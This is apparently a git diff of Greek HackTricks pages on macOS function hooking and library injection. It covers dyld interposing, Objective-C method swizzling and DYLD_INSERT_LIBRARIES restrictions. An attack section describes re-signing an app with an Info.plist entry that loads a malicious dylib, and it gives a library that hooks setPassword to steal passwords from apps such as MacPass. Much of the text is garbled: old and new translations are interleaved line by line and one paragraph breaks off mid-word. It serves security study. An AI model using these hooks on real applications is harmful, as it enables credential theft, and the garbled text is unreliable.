* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα κόλπα σας για το hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
## Ενδιάμεση Συνάρτηση
## Ενδιάμεση Εισαγωγή
Δημιουργήστε ένα **dylib** με μια ενότητα **`__interpose`** (ή μια ενότητα με σημαία **`S_INTERPOSING`**) που περιέχει tuples από **δείκτες συναρτήσεων** που αναφέρονται στις **αρχικές** και **αντικατάστασης** συναρτήσεις.
Δημιουργήστε ένα **dylib** με μια ενότητα **`__interpose` (`__DATA___interpose`)** (ή μια ενότητα με σημαία **`S_INTERPOSING`**) που περιέχει ζεύγη **δεικτών συναρτήσεων** που αναφέρονται στις **αρχικές** και τις **αντικατάστασης** συναρτήσεις.
Στη συνέχεια, **εισαγάγετε** το dylib με τη χρήση του **`DYLD_INSERT_LIBRARIES`** (η ενδιάμεση συνάρτηση πρέπει να γίνει πριν φορτωθεί η κύρια εφαρμογή). Φυσικά, οι [**περιορισμοί** που ισχύουν για τη χρήση του **`DYLD_INSERT_LIBRARIES`** ισχύουν και εδώ](macos-library-injection/#check-restrictions).
Στη συνέχεια, **ενσωματώστε** το dylib με το **`DYLD_INSERT_LIBRARIES`** (η ενδιάμεση εισαγωγή πρέπει να γίνει πριν το κύριο app φορτώσει). Φυσικά, οι [**περιορισμοί** που εφαρμόζονται στη χρήση του **`DYLD_INSERT_LIBRARIES`** ισχύουν και εδώ](macos-library-injection/#check-restrictions).
### Ενδιάμεση συνάρτηση printf
### Ενδιάμεση εισαγωγή printf
{% tabs %}
{% tab title="interpose.c" %}
{% code title="interpose.c" %}
{% code title="interpose.c" overflow="wrap" %}
```c
// gcc -dynamiclib interpose.c -o interpose.dylib
#include <stdio.h>
@ -56,32 +56,10 @@ printf("Hello World!\n");
return 0;
}
```
{% endtab %}
```c
#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>
typedef int (*orig_open_type)(const char *pathname, int flags);
typedef FILE *(*orig_fopen_type)(const char *pathname, const char *mode);
int open(const char *pathname, int flags) {
orig_open_type orig_open;
orig_open = (orig_open_type)dlsym(RTLD_NEXT, "open");
printf("Opening file: %s\n", pathname);
return orig_open(pathname, flags);
}
FILE *fopen(const char *pathname, const char *mode) {
orig_fopen_type orig_fopen;
orig_fopen = (orig_fopen_type)dlsym(RTLD_NEXT, "fopen");
printf("Opening file: %s\n", pathname);
return orig_fopen(pathname, mode);
}
```
Αυτός ο κώδικας χρησιμοποιεί την τεχνική του function hooking για να παρακολουθήσει τις κλήσεις των συναρτήσεων `open` και `fopen` σε ένα πρόγραμμα στο macOS. Ο κώδικας αυτός χρησιμοποιεί τη βιβλιοθήκη `dlfcn.h` για να φορτώσει δυναμικά τις συναρτήσεις `open` και `fopen` και να αντικαταστήσει τις πρωτότυπες υλοποιήσεις τους με τις δικές του. Όταν καλείται η συνάρτηση `open` ή `fopen`, ο κώδικας αυτός εκτυπώνει το όνομα του αρχείου που ανοίγεται και στη συνέχεια καλεί την πρωτότυπη υλοποίηση της συνάρτησης για να εκτελέσει την πραγματική λειτουργία της.
{% tab title="interpose2.c" %}
{% code overflow="wrap" %}
```c
// Just another way to define an interpose
// gcc -dynamiclib interpose2.c -o interpose2.dylib
@ -105,9 +83,9 @@ return ret;
DYLD_INTERPOSE(my_printf,printf);
```
{% endcode %}
{% endtab %}
{% endtabs %}
```bash
DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello
Hello from interpose
@ -115,25 +93,44 @@ Hello from interpose
DYLD_INSERT_LIBRARIES=./interpose2.dylib ./hello
Hello from interpose
```
{% hint style="warning" %}
Η μεταβλητή περιβάλλοντος **`DYLD_PRINT_INTERPOSTING`** μπορεί να χρησιμοποιηθεί για να ελέγξετε το interposing και θα εκτυπώσει τη διαδικασία interpose.
{% endhint %}
Επίσης, σημειώστε ότι **το interposing συμβαίνει μεταξύ της διεργασίας και των φορτωμένων βιβλιοθηκών**, δεν λειτουργεί με την κοινόχρηστη μνήμη βιβλιοθηκών.
### Δυναμικό Interposing
Τώρα είναι επίσης δυνατό να γίνει interpose μια συνάρτηση δυναμικά χρησιμοποιώντας τη συνάρτηση **`dyld_dynamic_interpose`**. Αυτό επιτρέπει το προγραμματιστικό interposing μιας συνάρτησης κατά τη διάρκεια της εκτέλεσης αντί να γίνεται μόνο από την αρχή.
Απλώς χρειάζεται να υποδείξετε τα **ζεύγη** της **συνάρτησης που θα αντικατασταθεί και της αντικατάστασης** συνάρτησης.
```c
struct dyld_interpose_tuple {
const void* replacement;
const void* replacee;
};
extern void dyld_dynamic_interpose(const struct mach_header* mh,
const struct dyld_interpose_tuple array[], size_t count);
```
## Αντικατάσταση Μεθόδων
Στην ObjectiveC έτσι καλείται μια μέθοδος: **`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`**
Στο ObjectiveC έτσι καλείται μια μέθοδος: **`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`**
Χρειάζεται το **αντικείμενο**, η **μέθοδος** και τα **παράμετρα**. Και όταν καλείται μια μέθοδος, στέλνεται ένα **μήνυμα** χρησιμοποιώντας τη συνάρτηση **`objc_msgSend`**: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);`
Χρειάζεται το **αντικείμενο**, η **μέθοδος** και τα **ορίσματα**. Και όταν καλείται μια μέθοδος, ένα **μήνυμα στέλνεται** χρησιμοποιώντας τη συνάρτηση **`objc_msgSend`**: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);`
Το αντικείμενο είναι το **`someObject`**, η μέθοδος είναι **`@selector(method1p1:p2:)`** και τα ορίσματα είναι τα **value1**, **value2**.
Το αντικείμενο είναι το **`someObject`**, η μέθοδος είναι **`@selector(method1p1:p2:)`** και τα ορίσματα είναι **value1**, **value2**.
Ακολουθώντας τις δομές των αντικειμένων, είναι δυνατή η πρόσβαση σε ένα **πίνακα μεθόδων** όπου οι **ονομασίες** και οι **δείκτες** του κώδικα της μεθόδου βρίσκονται.
Ακολουθώντας τις δομές των αντικειμένων, είναι δυνατό να φτάσετε σε ένα **πίνακα μεθόδων** όπου οι **ονομασίες** και οι **δείκτες** προς τον κώδικα της μεθόδου **βρίσκονται**.
{% hint style="danger" %}
Σημειώστε ότι επειδή οι μέθοδοι και οι κλάσεις προσπελαύνονται με βάση τα ονόματά τους, αυτές οι πληροφορίες αποθηκεύονται στο δυαδικό αρχείο, οπότε είναι δυνατή η ανάκτησή τους με τη χρήση της εντολής `otool -ov </path/bin>` ή [`class-dump </path/bin>`](https://github.com/nygard/class-dump)
Σημειώστε ότι επειδή οι μέθοδοι και οι κλάσεις προσπελαύνονται με βάση τα ονόματά τους, αυτές οι πληροφορίες αποθηκεύονται στο δυαδικό αρχείο, οπότε είναι δυνατό να τις ανακτήσετε με την εντολή `otool -ov </path/bin>` ή [`class-dump </path/bin>`](https://github.com/nygard/class-dump)
{% endhint %}
### Πρόσβαση στις ακατέργαστες μεθόδους
Είναι δυνατό να αποκτηθούν πληροφορίες για τις μέθοδους, όπως το όνομα, ο αριθμός των παραμέτρων ή η διεύθυνση, όπως φαίνεται στο παρακάτω παράδειγμα:
Είναι δυνατό να έχετε πρόσβαση στις πληροφορίες των μεθόδων όπως το όνομα, ο αριθμός των ορισμάτων ή η διεύθυνση όπως στο παρακάτω παράδειγμα:
{% code overflow="wrap" %}
```objectivec
// gcc -framework Foundation test.m -o test
@ -199,15 +196,17 @@ NSLog(@"Uppercase string: %@", uppercaseString3);
return 0;
}
```
{% endcode %}
### Αντικατάσταση μεθόδου με την method\_exchangeImplementations
### Αντικατάσταση Μεθόδου με τη μέθοδο method\_exchangeImplementations
Η συνάρτηση **`method_exchangeImplementations`** επιτρέπει την **αλλαγή** της **διεύθυνσης** της **υλοποίησης** μιας συνάρτησης με την άλλη.
Η συνάρτηση **`method_exchangeImplementations`** επιτρέπει τη **αλλαγή** της **διεύθυνσης** της **υλοποίησης** μιας **συνάρτησης με μια άλλη**.
{% hint style="danger" %}
Έτσι, όταν καλείται μια συνάρτηση, εκτελείται η άλλη.
Έτσι, όταν καλείται μια συνάρτηση, **εκτελείται η άλλη**.
{% endhint %}
{% code overflow="wrap" %}
```objectivec
//gcc -framework Foundation swizzle_str.m -o swizzle_str
@ -251,19 +250,21 @@ NSLog(@"Substring: %@", subString);
return 0;
}
```
{% endcode %}
{% hint style="warning" %}
Σε αυτήν την περίπτωση, αν ο κώδικας υλοποίησης της νόμιμης μεθόδου επαληθεύει το όνομα της μεθόδου, μπορεί να ανιχνεύσει αυτήν την αντικατάσταση και να την εμποδίσει από την εκτέλεσή της.
Σε αυτήν την περίπτωση, αν ο κώδικας υλοποίησης της νόμιμης μεθόδου επαληθεύει το όνομα της μεθόδου, θα μπορούσε να ανιχνεύσει αυτήν την αντικατάσταση και να την εμποδίσει από το να εκτελεστεί.
Η παρακάτω τεχνική δεν έχει αυτόν τον περιορισμό.
Η ακόλουθη τεχνική δεν έχει αυτόν τον περιορισμό.
{% endhint %}
### Αντικατάσταση Μεθόδου με την method\_setImplementation
### Αντικατάσταση Μεθόδου με τη μέθοδο method\_setImplementation
Η προηγούμενη μορφή είναι περίεργη επειδή αλλάζετε την υλοποίηση 2 μεθόδων μεταξύ τους. Χρησιμοποιώντας τη συνάρτηση **`method_setImplementation`** μπορείτε να αλλάξετε την υλοποίηση μιας μεθόδου με την υλοποίηση μιας άλλης.
Η προηγούμενη μορφή είναι περίεργη επειδή αλλάζετε την υλοποίηση 2 μεθόδων μεταξύ τους. Χρησιμοποιώντας τη συνάρτηση **`method_setImplementation`** μπορείτε να αλλάξετε την υλοποίηση μιας μεθόδου με μια άλλη.
Απλά θυμηθείτε να **αποθηκεύσετε τη διεύθυνση της υλοποίησης της αρχικής μεθόδου** αν πρόκειται να την καλέσετε από τη νέα υλοποίηση πριν την αντικαταστήσετε, διότι αργότερα θα είναι πολύ πιο δύσκολο να εντοπίσετε αυτήν τη διεύθυνση.
Απλά θυμηθείτε να **αποθηκεύσετε τη διεύθυνση της υλοποίησης της αρχικής** αν πρόκειται να την καλέσετε από τη νέα υλοποίηση πριν την αντικαταστήσετε, διότι αργότερα θα είναι πολύ πιο περίπλοκο να εντοπίσετε αυτήν τη διεύθυνση.
{% code overflow="wrap" %}
```objectivec
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
@ -315,19 +316,19 @@ return 0;
}
}
```
{% endcode %}
## Μεθοδολογία Επίθεσης Hooking
Σε αυτήν τη σελίδα συζητήθηκαν διάφοροι τρόποι για το hooking συναρτήσεων. Ωστόσο, αυτοί περιλάμβαναν **την εκτέλεση κώδικα μέσα στη διεργασία για επίθεση**.
Σε αυτήν τη σελίδα συζητήθηκαν διαφορετικοί τρόποι για το hooking συναρτήσεων. Ωστόσο, αυτοί περιλάμβαναν **την εκτέλεση κώδικα μέσα στη διαδικασία για επίθεση**.
Για να το κάνουμε αυτό, η πιο εύκολη τεχνική που μπορούμε να χρησιμοποιήσουμε είναι να εισάγουμε ένα [Dyld μέσω μεταβλητών περιβάλλοντος ή hijacking](macos-library-injection/macos-dyld-hijacking-and-dyld\_insert\_libraries.md). Ωστόσο, υποθέτω ότι αυτό μπορεί να γίνει επίσης μέσω [Dylib process injection](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port).
Για να το κάνετε αυτό, η πιο εύκολη τεχνική που μπορείτε να χρησιμοποιήσετε είναι να ενθετώσετε ένα [Dyld μέσω μεταβλητών περιβάλλοντος ή hijacking](macos-library-injection/macos-dyld-hijacking-and-dyld\_insert\_libraries.md). Ωστόσο, υποθέτω ότι αυτό θα μπορούσε επίσης να γίνει μέσω [ενθετών διεργασιών Dylib](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port).
Ωστόσο, και οι δύο επιλογές είναι **περιορισμένες** σε **μη προστατευμένα** δυαδικά αρχεία/διεργασίες. Ελέγξτε κάθε τεχνική για να μάθετε περισσότερα για τους περιορισμούς.
Ωστόσο, και οι δύο επιλογές είναι **περιορισμένες** σε **μη προστατευμένα** δυαδικά/διεργασίες. Ελέγξτε κάθε τεχνική για να μάθετε περισσότερα σχετικά με τους περιορισμούς.
Ωστόσο, μια επίθεση με hooking συναρτήσεων είναι πολύ συγκεκριμένη, ένας επιτιθέμενος θα το κάνει αυτό για να **κλέψει ευαίσθητες πληροφορίες από μια διεργασία** (αν δεν ήταν έτσι, θα κάνατε απλά μια επίθεση με εισαγωγή διεργασίας). Και αυτές οι ευαίσθητες πληροφορίες μπορεί να βρίσκονται σε εφαρμογές που έχει κατεβάσει ο χρήστης, όπως το MacPass.
Έτσι, ο διανοούμενος θα πρέπει είτε να βρει μια ευπάθεια είτε να αφαιρέσει την υπογραφή της εφαρμογής, να εισάγει τη μεταβλητή περιβάλλοντος **`DYLD_INSERT_LIBRARIES`** μέσω του Info.plist της εφαρμογής, προσθέτοντας κάτι όπως:
Ωστόσο, μια επίθεση με hooking συναρτήσεων είναι πολύ συγκεκριμένη, ένας επιτιθέμενος θα το κάνει αυτό για να **κλέψει ευαίσθητες πληροφορίες από μέσα σε μια διαδικασία** (αν δεν ήθελε απλά να κάνει μια επίθεση ενθετών διεργασιών). Και αυτές οι ευαίσθητες πληροφορίες μπορεί να βρίσκονται σε εφαρμογές που έχει κατεβάσει ο χρήστης, όπως το MacPass.
Έτσι, το διάνυσμα του επιτιθέμενου θα ήταν είτε να βρει μια ευπάθεια είτε να αφαιρέσει την υπογραφή της εφαρμογής, να ενθωρυνθεί η μεταβλητή περιβάλλοντος **`DYLD_INSERT_LIBRARIES`** μέσω του Info.plist της εφαρμογής προσθέτοντας κάτι σαν:
```xml
<key>LSEnvironment</key>
<dict>
@ -335,7 +336,6 @@ return 0;
<string>/Applications/Application.app/Contents/malicious.dylib</string>
</dict>
```
και στη συνέχεια **επανεγγράψτε** την εφαρμογή:
{% code overflow="wrap" %}
@ -347,11 +347,12 @@ return 0;
Προσθέστε σε αυτή τη βιβλιοθήκη τον κώδικα hooking για να εξαγάγετε τις πληροφορίες: Κωδικοί πρόσβασης, μηνύματα...
{% hint style="danger" %}
Σημειώστε ότι σε νεότερες εκδόσεις του macOS, αν **αφαιρέσετε την υπογραφή** του δυαδικού αρχείου της εφαρμογής και αυτή έχει ήδη εκτελεστεί, το macOS **δεν θα εκτελέσει πλέον την εφαρμογή**.
Σημειώστε ότι σε νεότερες εκδόσεις του macOS, αν **αφαιρέσετε την υπογραφή** του δυαδικού αρχείου της εφαρμογής και αυτή εκτελέστηκε προηγουμένως, το macOS **δεν θα εκτελέσει πλέον την εφαρμογή**.
{% endhint %}
#### Παράδειγμα βιβλιοθήκης
{% code overflow="wrap" %}
```objectivec
// gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib
@ -387,6 +388,7 @@ IMP fake_IMP = (IMP)custom_setPassword;
real_setPassword = method_setImplementation(real_Method, fake_IMP);
}
```
{% endcode %}
## Αναφορές
@ -394,14 +396,14 @@ real_setPassword = method_setImplementation(real_Method, fake_IMP);
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγράφημα**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>

View file

@ -1,59 +1,107 @@
# macOS Library Injection
# macOS Εισαγωγή Βιβλιοθήκης
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) στο github.
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
{% hint style="danger" %}
Ο κώδικας του **dyld είναι ανοικτού κώδικα** και μπορεί να βρεθεί στο [https://opensource.apple.com/source/dyld/](https://opensource.apple.com/source/dyld/) και μπορεί να ληφθεί ένα tar χρησιμοποιώντας μια **URL όπως** [https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz)
Ο κώδικας του **dyld είναι ανοικτού κώδικα** και μπορεί να βρεθεί στο [https://opensource.apple.com/source/dyld/](https://opensource.apple.com/source/dyld/) και μπορεί να ληφθεί ως tar χρησιμοποιώντας μια **διεύθυνση URL όπως** [https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz)
{% endhint %}
## **Διεργασία Dyld**
Ρίξτε μια ματιά στο πώς το Dyld φορτώνει βιβλιοθήκες μέσα σε δυαδικά αρχεία στο:
{% content-ref url="macos-dyld-process.md" %}
[macos-dyld-process.md](macos-dyld-process.md)
{% endcontent-ref %}
## **DYLD\_INSERT\_LIBRARIES**
Αυτό είναι παρόμοιο με το [**LD\_PRELOAD στο Linux**](../../../../linux-hardening/privilege-escalation/#ld\_preload). Επιτρέπει να υποδείξετε σε ένα διεργασία που θα εκτελεστεί να φορτώσει μια συγκεκριμένη βιβλιοθήκη από ένα δρομολόγιο (εάν η μεταβλητή περιβάλλοντος είναι ενεργοποιημένη)
Αυτό είναι σαν το [**LD\_PRELOAD στο Linux**](../../../../linux-hardening/privilege-escalation/#ld\_preload). Επιτρέπει να υποδείξετε σε μια διεργασία ότι θα τρέξει για να φορτώσει μια συγκεκριμένη βιβλιοθήκη από ένα διαδρομή (εάν η μεταβλητή περιβάλλοντος είναι ενεργοποιημένη)
Αυτή η τεχνική μπορεί επίσης να χρησιμοποιηθεί ως τεχνική ASEP καθώς κάθε εγκατεστημένη εφαρμογή έχει ένα plist με το όνομα "Info.plist" που επιτρέπει την ανάθεση περιβαλλοντικών μεταβλητών χρησιμοποιώντας ένα κλειδί με το όνομα `LSEnvironmental`.
Αυτή η τεχνική μπορεί επίσης **να χρησιμοποιηθεί ως τεχνική ASEP** καθώς κάθε εγκατεστημένη εφαρμογή έχει ένα plist που ονομάζεται "Info.plist" που επιτρέπει την **ανάθεση μεταβλητών περιβάλλοντος** χρησιμοποιώντας ένα κλειδί που ονομάζεται `LSEnvironmental`.
Από το 2012, η Apple έχει μειώσει δραστικά την ισχύ του `DYLD_INSERT_LIBRARIES`.
{% hint style="info" %}
Από το 2012 **η Apple έχει μειώσει δραστικά τη δύναμη** του **`DYLD_INSERT_LIBRARIES`**.
Μεταβείτε στον κώδικα και ελέγξτε το `src/dyld.cpp`. Στη συνάρτηση `pruneEnvironmentVariables` μπορείτε να δείτε ότι οι μεταβλητές `DYLD_*` αφαιρούνται.
Πηγαίνετε στον κώδικα και **ελέγξτε το `src/dyld.cpp`**. Στη συνάρτηση **`pruneEnvironmentVariables`** μπορείτε να δείτε ότι οι μεταβλητές **`DYLD_*`** αφαιρούνται.
Στη συνάρτηση `processRestricted` ορίζεται ο λόγος του περιορισμού. Ελέγχοντας αυτόν τον κώδικα μπορείτε να δείτε ότι οι λόγοι είναι:
Στη συνάρτηση **`processRestricted`** ορίζεται ο λόγος του περιορισμού. Ελέγχοντας αυτόν τον κώδικα μπορείτε να δείτε ότι οι λόγοι είναι:
* Το δυαδικό είναι `setuid/setgid`
* Υπάρχει ενότητα `__RESTRICT/__restrict` στο δυαδικό macho.
* Το λογισμικό έχει εντοπισμούς (hardened runtime) χωρίς την εντολή [`com.apple.security.cs.allow-dyld-environment-variables`](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-dyld-environment-variables)
* Ελέγξτε τους εντοπισμούς ενός δυαδικού με: `codesign -dv --entitlements :- </path/to/bin>`
* Το λογισμικό έχει εντοπιστικά (σκληρή εκτέλεση) χωρίς το εντοπιστικό [`com.apple.security.cs.allow-dyld-environment-variables`](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-dyld-environment-variables)
* Ελέγξτε τα **εντοπιστικά** ενός δυαδικού με: `codesign -dv --entitlements :- </path/to/bin>`
Σε πιο ενημερωμένες εκδόσεις μπορείτε να βρείτε αυτήν τη λογική στο δεύτερο μέρος της συνάρτησης `configureProcessRestrictions`. Ωστόσο, αυτό που εκτελείται σε νεότερες εκδόσεις είναι οι αρχικοί έλεγχοι της συνάρτησης (μπορείτε να αφαιρέσετε τα ifs που σχετίζοντ
* Εάν το **`LC_LOAD_DYLIB`** περιέχει `@rpath/library.dylib` και το **`LC_RPATH`** περιέχει `/application/app.app/Contents/Framework/v1/` και `/application/app.app/Contents/Framework/v2/`. Και οι δύο φάκελοι θα χρησιμοποιηθούν για να φορτωθεί το `library.dylib`**.** Εάν η βιβλιοθήκη δεν υπάρχει στον φάκελο `[...]/v1/` και ο επιτιθέμενος μπορεί να την τοποθετήσει εκεί για να αποκτήσει τον έλεγχο της φόρτωσης της βιβλιοθήκης στον φάκελο `[...]/v2/` καθώς ακολουθείται η σειρά των διαδρομών στο **`LC_LOAD_DYLIB`**.
* **Βρείτε τις διαδρομές rpath και τις βιβλιοθήκες** στα δυαδικά αρχεία με: `otool -l </path/to/binary> | grep -E "LC_RPATH|LC_LOAD_DYLIB" -A 5`
{% hint style="info" %}
**`@executable_path`**: Είναι η **διαδρομή** προς τον φάκελο που περιέχει το **κύριο εκτελέσιμο αρχείο**.
**`@loader_path`**: Είναι η **διαδρομή** προς τον **φάκελο** που περιέχει το **Mach-O δυαδικό** που περιέχει την εντολή φόρτωσης.
* Όταν χρησιμοποιείται σε ένα εκτελέσιμο, το **`@loader_path`** είναι πρακτικά το **ίδιο** με το **`@executable_path`**.
* Όταν χρησιμοποιείται σε ένα **dylib**, το **`@loader_path`** δίνει την **διαδρομή** προς το **dylib**.
Σε πιο ενημερωμένες εκδόσεις μπορείτε να βρείτε αυτήν τη λογική στο δεύτερο μέρος της συνάρτησης **`configureProcessRestrictions`.** Ωστόσο, αυτό που εκτελείται σε νεότερες εκδόσεις είναι οι **έλεγχοι στην αρχή της συνάρτησης** (μπορείτε να αφαιρέσετε τα ifs που σχετίζονται με iOS ή προσομοίωση καθώς αυτά δεν θα χρησιμοποιηθούν σε macOS.
{% endhint %}
Ο τρόπος για να **αναβαθμίσετε τα δικαιώματα** καταχρώντας αυτήν τη λειτουργικότητα θα ήταν στη σπάνια περίπτωση που μια **εφαρμογή** που εκτελείται **από** τον **root** ψάχνει για μια **βιβλιοθήκη σε έναν φάκελο όπου ο επιτιθέμενος έχει δικαιώματα εγγραφής**.
### Επικύρωση Βιβλιοθήκης
Ακόμη κι αν το δυαδικό επιτρέπει τη χρήση της **`DYLD_INSERT_LIBRARIES`** μεταβλητής περιβάλλοντος, αν το δυαδικό ελέγχει την υπογραφή της βιβλιοθήκης που θα φορτώσει, δεν θα φορτώσει μια προσαρμοσμένη βιβλιοθήκη.
Για να φορτώσετε μια προσαρμοσμένη βιβλιοθήκη, το δυαδικό πρέπει να έχει **ένα από τα ακόλουθα εντοπιστικά**:
* [`com.apple.security.cs.disable-library-validation`](../../macos-security-protections/macos-dangerous-entitlements.md#com.apple.security.cs.disable-library-validation)
* [`com.apple.private.security.clear-library-validation`](../../macos-security-protections/macos-dangerous-entitlements.md#com.apple.private.security.clear-library-validation)
ή το δυαδικό **δεν πρέπει** να έχει τη σημαία **σκληρής εκτέλεσης** ή τη σημαία **επικύρωσης βιβλιοθήκης**.
Μπορείτε να ελέγξετε αν ένα δυαδικό έχει **σκληρή εκτέλεση** με `codesign --display --verbose <bin>` ελέγχοντας τη σημαία εκτέλεσης στο **`CodeDirectory`** όπως: **`CodeDirectory v=20500 size=767 flags=0x10000(runtime) hashes=13+7 location=embedded`**
Μπορείτε επίσης να φορτώσετε μια βιβλιοθήκη αν είναι **υπογεγραμμένη με τον ίδιο πιστοποιητικό με το δυαδικό**.
Βρείτε ένα παράδειγμα πώς να (κατ)ασχοληθείτε με αυτό και ελέγξτε τους περιορισμούς στο:
{% content-ref url="macos-dyld-hijacking-and-dyld_insert_libraries.md" %}
[macos-dyld-hijacking-and-dyld\_insert\_libraries.md](macos-dyld-hijacking-and-dyld\_insert\_libraries.md)
{% endcontent-ref %}
## Απαγωγή Dylib
{% hint style="danger" %}
Θυμηθείτε ότι **ισχύουν επίσης οι προηγούμενοι περιορισμοί επικύρωσης βιβλιοθήκης** για την εκτέλεση επιθέσεων απαγωγής Dylib.
{% endhint %}
Όπως και στα Windows, στο MacOS μπορείτε επίσης **να απαγάγετε dylibs** για να κάνετε τις **εφαρμογές να εκτελούν** **αυθαίρετο** **κώδικα** (καλά, στην πραγματικότητα από έναν κανονικό χρήστη αυτό δεν θα ήταν δυνατό καθώς μπορεί να χρειαστείτε άδεια TCC για να γράψετε μέσα σε ένα `.app` πακέτο και να απαγάγετε μια βιβλιοθήκη).\
